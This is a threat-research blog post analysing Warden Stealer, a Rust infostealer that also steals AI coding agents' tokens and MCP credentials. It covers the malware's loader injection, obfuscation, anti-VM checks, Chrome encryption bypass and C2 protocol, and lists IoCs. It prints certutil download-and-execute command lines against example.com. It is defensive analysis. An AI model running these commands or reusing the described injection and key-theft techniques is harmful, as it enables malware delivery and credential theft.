Security Evangelist at Gen

Threat Analysis Engineer at Gen

Threat Researcher at Gen

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Research Team Lead

Research

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

